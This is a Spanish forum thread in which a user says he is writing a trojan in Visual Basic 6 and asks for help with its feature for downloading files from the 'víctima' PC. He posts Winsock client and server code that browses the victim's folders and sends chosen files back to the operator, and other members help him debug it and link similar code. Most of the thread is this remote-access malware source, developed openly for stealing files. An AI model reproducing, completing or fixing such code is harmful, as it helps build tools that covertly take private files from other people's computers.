Transferencia de archivos Cliente - Servidor

[carlitro8]

Bien, tengo más dudas acerca del troyano que estoy creando, jeje. La que me ocupa ahora es la siguiente: tengo una opción en el cliente para descargar archivos desde el pc "víctima" y he elaborado el código, pero el problema es que sólo me está funcionando, en las pruebas q estoy realizando, con archivos pequeños, (he probado de 100 kb para abajo) y esos van perfectamente. Pero el problema se me presenta al intentar pasar una cancion..., o un archivo de 1,5 MB, un *.pdf, en cuyo caso no pasa nada y no aparece el archivo donde le especifico. Ni tampoco me aparece un MSGBOX que sale cuando el archivo ha sido completado (la descarga). ¿A qué podría ser debido y como lo podría solucionar?

Muchísimas gracias, esto es lo que el cliente realiza cuando le llegan datos de un archivo:

Código:

If Len(archivo_temporal) <> tamaño_archivo Then
        archivo_temporal = archivo_temporal + datos
        If Len(archivo_temporal) = tamaño_archivo Then
            Open rutapclocal & nombrearchivo For Binary As #1
            Put #1, 1, archivo_temporal
            Close #1
            rutapclocal = ""
            nombrearchivo = ""
            MsgBox ("Archivo recibido correctamente"), vbInformation
        End If
End If

tamaño_archivo viene dado por:

Código:

tamaño_archivo = Val(datos)

que a su vez, datos es lo que en el servidor viene dado así:

Código:

tamaño_archivo = Len(contenido_archivo)

Jeje, un poco lioso?siento no poder hacerlo mas claro. Por cierto, "contenido_arch ivo" contiene lo siguiente:

Código:

Open rutaarchivo & "\" & nombrearchivo For Binary As #1
        contenido_archivo = Input(LOF(1), 1)
    Close #1

GRACIAS!!!!!!!!!!!

[carlitro8]

Ufff nadie tiene ni idea...?jeje, si necesitáis más detalles no duden en preguntar. Gracias de nuevo.

[ranefi]

Hola calitro8, buen día. Aquí te dejo un ejemplo de código que te puede ser útil.


Para ver este enlace Registrate o Inicia Sesion

DESCARGAR

El nombre del autor se encuentra dentro del código. Nos vemos.

[carlitro8]

Gracias por contestar, pero mi programa estaba basado ya en ese código y no me deja enviar arhivos grandes. Más bien me deja (sin problemas) sólo archivos pequeños. Alguna vez que otra me ha dejado enviar uno de 560 Kb... y ya más grandes nunca me ha dejado. De nuevo, Gracias por contestar. Sigue sin haber ninguna idea, no?jeje.

[ranefi]

Gracias por contestar, pero mi programa estaba basado ya en ese código y no me deja enviar arhivos grandes. Más bien me deja (sin problemas) sólo archivos pequeños. Alguna vez que otra me ha dejado enviar uno de 560 Kb... y ya más grandes nunca me ha dejado. De nuevo, Gracias por contestar. Sigue sin haber ninguna idea, no?jeje.

Hola carlitro8, buen día. Mira, el ejemplo que te dejé fue para que compararas tu código contra el que te envié. Una pregunta, ya intentaste enviar archivos desde otra computadora, algunas veces el problema se debe a fallas en la tranferencia de archivos, en la conexión de la máquina, etc. Prueba con otras máquinas y nos cuentas, esto para poder ofrecerte una solución o ayudarte a encontrarla. También nos puedes enviar tu código si gustas. Nos vemos.

[carlitro8]

Ranefi, de momento sólo he probado conectandome a mi misma computadora. Dejo aqui el codigo para que por favor le echen un vistazo si pueden, como me pedías:


Cliente (solo meto el codigo q tiene q ver con la accion de enviar archivos, claro, jeje)

Código:

Private Sub cmdDescargar_Click()
rutapcremoto = txtConsola.Text
nombrearchivo = List1
rutapclocal = txtRutaLocal.Text
Winsock2.SendData "DESCARGAARCHIVO|" & rutapcremoto & "|" & nombrearchivo & "|" & rutapclocal
End Sub

Código:

Private Sub Winsock2_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
Winsock2.GetData datos
If Mid(datos, 1, 1) = "<" Or Mid(datos, 1, 1) = "f" Or Mid(datos, 1, 14) = "PERMISOARCHIVO" Then

If Mid(datos, 1, 1) = "<" Then
datos = Mid(datos, 1, Len(datos) - 0)
List1.AddItem datos
datos = ""
End If
If Mid(datos, 1, 1) = "f" Then
datos = Mid(datos, 2, Len(datos) - 1)
List1.AddItem datos
datos = ""
End If


If Mid(datos, 1, 14) = "PERMISOARCHIVO" Then
    datos = Mid(datos, 16, Len(datos) - 14)
    rutapclocal = ""
    For i = 1 To Len(datos)
        If Mid(datos, 1, 1) <> "|" Then
            rutapclocal = rutapclocal + Mid(datos, 1, 1)
        ElseIf Mid(datos, 1, 1) = "|" Then
            datos = Mid(datos, 2, Len(datos) - 1)
            Exit For
        End If
        datos = Mid(datos, 2, Len(datos) - 1)
    Next
    tamaño_archivo = Val(datos)
    Winsock2.SendData "ENVIAMEYA"
    archivo_temporal = ""
End If

Else
    Label2.Caption = rutapclocal & nombrearchivo
   
If Len(archivo_temporal) <> tamaño_archivo Then
        Espera 10
        archivo_temporal = archivo_temporal + datos
        Espera 500
        If Len(archivo_temporal) = tamaño_archivo Then
        On Error Resume Next
            Open rutapclocal & nombrearchivo For Binary As #1
            Put #1, 1, archivo_temporal
            Close #1
            Espera 50
            archivo_temporal = ""
            MsgBox ("Archivo recibido correctamente"), vbInformation
        End If
End If
rutapclocal = ""
nombrearchivo = ""
End If

Nota : espera es la funcion q vi por aki por este foro para hacer un sleep, lo incorpore para intentar mejorar el envio d archivos con un tiempo de espera... Lo del condicional del winsock2 es xq el winsock2 tambien lo uso para pasar la informacion para poder explorar desde el cliente el pc del servidor.

Servidor:

Código:

Private Sub Winsock2_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
Dim ruta As String

Winsock2.GetData datos

'Si es ARCHIVOS...
If Mid(datos, 1, 8) = "ARCHIVOS" Then ' Si los 8 primeros caracteres son ARCHIVOS
    ruta = Mid(datos, 10)
    listar ruta 'Llamamos a la función para listar los ficheros de esa unidad y carpeta
End If

'Si es DESCARGAARCHIVO...
If Mid(datos, 1, 15) = "DESCARGAARCHIVO" Then ' Si empieza por DESCARGAARCHIVO
    rutaarchivo = ""
    nombrearchivo = ""
    rutapcremoto = ""
    datos = Mid(datos, 17, Len(datos) - 15)
    For i = 1 To Len(datos)
        If Mid(datos, 1, 1) <> "|" Then
            rutaarchivo = rutaarchivo + Mid(datos, 1, 1)
        ElseIf Mid(datos, 1, 1) = "|" Then
            datos = Mid(datos, 2, Len(datos) - 1)
    Exit For
        End If
        datos = Mid(datos, 2, Len(datos) - 1)
    Next
        For i2 = 1 To Len(datos)
            If Mid(datos, 1, 1) <> "|" Then
                nombrearchivo = nombrearchivo + Mid(datos, 1, 1)
            ElseIf Mid(datos, 1, 1) = "|" Then
            datos = Mid(datos, 2, Len(datos) - 1)
        Exit For
            End If
        datos = Mid(datos, 2, Len(datos) - 1)
        Next
    rutapcremoto = datos

Label1.Caption = rutaarchivo & nombrearchivo & rutapcremoto


' Ya tenemos almacenados la ruta del archivo a enviar, el nombre del archivo y la
' ruta del pc remoto al que se enviará el archivo
On Error GoTo sigue:
    Open rutaarchivo & "\" & nombrearchivo For Binary As #1
        contenido_archivo = Input(LOF(1), 1)
    Close #1
    tamaño_archivo = Len(contenido_archivo)
    GoTo siempre:
sigue:
    Open rutaarchivo & nombrearchivo For Binary As #1
        contenido_archivo = Input(LOF(1), 1)
    Close #1
    tamaño_archivo = Len(contenido_archivo)
    GoTo siempre:

siempre:
tamaño_archivo = Len(contenido_archivo)
Label5.Caption = Len(contenido_archivo)
Winsock2.SendData "PERMISOARCHIVO|" & rutapcremoto & "|" & tamaño_archivo

Label2.Caption = rutaarchivo & nombrearchivo
Label4.Caption = rutapcremoto
End If

'Si es ENVIAMEYA...
If datos = "ENVIAMEYA" Then
    Winsock2.SendData contenido_archivo
End If

Nota: lo mismo digo... si es ARCHIVOS (lo del Mid(datos)... etc) es xq hago asi lo de pasar los datos al cliente para q este explore el pc del servidor.

Espero que entre todos podamos encontrar una solución, jeje, muchas gracias de nuevo por contestar, y muchísimas gracias de antemano, espero ideas

[Ne0]

Estas seguro de que lasvariables te dan para el tamaño del archivo? ^o)

[carlitro8]

Pues si pongo una label en el cliente que me muestre el valor de tamaño_archivo y otra label en el servidor que me muestre el valor de tamaño_archivo aparece en ambos la misma cantidad. Así que parece que si me da, no?